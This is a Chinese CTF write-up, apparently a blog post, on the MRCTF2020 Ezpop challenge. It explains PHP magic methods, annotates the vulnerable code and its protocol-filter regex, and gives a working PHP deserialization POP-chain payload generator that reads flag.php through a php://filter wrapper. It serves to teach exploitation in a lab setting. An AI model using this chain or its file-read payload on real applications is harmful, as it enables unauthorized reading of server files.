• php魔术方法利用构造pop链之[MRCTF2020]Ezpop


    知识点 :
    PHP魔术方发的自动触发条件:

    __construct 当一个对象创建时被调用,
    __toString 当一个对象被当作一个字符串被调用。
    __wakeup() 使用unserialize时触发
    __get() 用于从不可访问的属性读取数据
    #难以访问包括:(1)私有属性,(2)没有初始化的属性
    __invoke() 当脚本尝试将对象调用为函数时触发

     基础基础知识:

    什么是一个对象?什么是属性?

    1. class show {
    2. public $source;
    3. public $str;
    4. }
    5. $a=new show();//这里 $a就是一个对象,而 $a->source 就是a 的一个属性 source;

    题目代码解析:

    1. //flag is in flag.php
    2. //WTF IS THIS?
    3. //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    4. //And Crack It!
    5. class Modifier { //定义一个 Modifier类
    6. protected $var; //一个属性var
    7. public function append($value){ //定义一个方法append ,会传入一个参数value
    8. include($value); //包含参数value value 如果是flag.php 应该就可以利用
    9. }
    10. public function __invoke(){ //_invoke()方法,当一个对象被当做函数(方法)使用时会自动触发它
    11. $this->append($this->var); //调用append()方法,这里就可以想到把var 传入flag.php,再想办法触发_invoke;
    12. }
    13. }
    14. class Show{
    15. public $source;
    16. public $str;
    17. public function __construct($file='index.php'){ //__construct方法,当一个对象创建时调用,这里默认为打开include.php
    18. $this->source = $file;
    19. echo 'Welcome to '.$this->source."
      "
      ;
    20. }
    21. public function __toString(){ //__toString方法,当一个对象被当做字符串使用时会自动触发
    22. return $this->str->source; //返回str->source ,明显把str定义成一个对象;
    23. }
    24. public function __wakeup(){ //__wakeup ,当对象使用unserialize 时就会自动触发,与下面的想呼应;
    25. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //对source 正则匹配;
    26. echo "hacker";
    27. $this->source = "index.php";
    28. }
    29. }
    30. }
    31. class Test{
    32. public $p;
    33. public function __construct(){
    34. $this->p = array(); //将p属性定义为数组
    35. }
    36. public function __get($key){ //_GET 方法,当调用对象的属性不可达或者不存在时就会自动触发;
    37. $function = $this->p; //将p赋值给function
    38. return $function(); //返回function方法!!可以用它触发invoke
    39. }
    40. }
    41. if(isset($_GET['pop'])){
    42. @unserialize($_GET['pop']);
    43. }
    44. else{
    45. $a=new Show; // 定义 a 对象,类型为show
    46. highlight_file(__FILE__);
    47. }


    从解析中就可以逆向思维构造pop链;

    1.首先我们的目的是触发_invoke 方法,然后这个方法里面就会执行append方法执行文件包含var;我们就可以把var 设为flag.php 使用伪协议:

    php://filter/read=convert.base64-encode/resource=flag.php

    如果invoke 方法触发,那么就会得到flag;

    2.怎么触发invoke呢?当将对象调用为函数使用时就会自动触发,看到代码里面的test类的get方法将属性返回为函数,//那么就可以将 p设置为一个对象;设置成

    3.那么现在就要想办法触发get方法,这也是一个魔术方法,根据它的自动触发条件,就可以看到利用str->source ,本来str 和source是一个级别的属性,但是这里把source给了str,那么将str定为test类的一个对象,而test类里面没有source属性,所以就会自动触发get;

    4.现在问题就到了怎么触发_tostring 方法呢,它如果将一个对象当字符串处理时就会自动触发,恰好wakeup里面的将source进行正则匹配后触发将source返回为字符串,如果source是一个对象,那么它就可以触发tostring;

    5.所以现在触发wakeup,当有对象被反序列化时就触发,恰好,要传入的pop要unserialize;

    所以:向pop传值→触发unserialize函数→触发__wakeup→触发对象当作字符串用→触发__toString→触发调用不可读取属性→触发__get→触发对象当作函数使用→触发__invoke→调用append,append里有include文件包含。

    序列化代码:
     

    1. class Modifier {
    2. protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
    3. }
    4. class Show{
    5. public $source;
    6. public $str;
    7. }
    8. class Test{
    9. public $p;
    10. }
    11. $a=new Show;
    12. $a->source=new show;
    13. $a->source->str=new Test;
    14. $a->source->str->p=new Modifier;
    15. echo urlencode(serialize($a));

    传入解密即可;

  • 相关阅读:
    项目:TCP在线云词典
    Docker:自定义镜像
    智能制造工厂刀具使用RFID产线管理系统的重要性
    ti一级代理商对我国客服的仰视
    Sql Server性能排查和优化懒人攻略
    腾讯云4核8G服务器支持多少人在线访问?
    Java并发编程的艺术笔记-Java并发容器和框架
    【计算机视觉 | 目标检测】术语理解5:Split Shuffle Block、Group Shuffle Block 和复杂非结构化室内场景
    Compiling and Loading
    可解释的图像分类,提高组织表征的可信度论文速读
  • 原文地址:https://blog.csdn.net/qq_58970968/article/details/126273248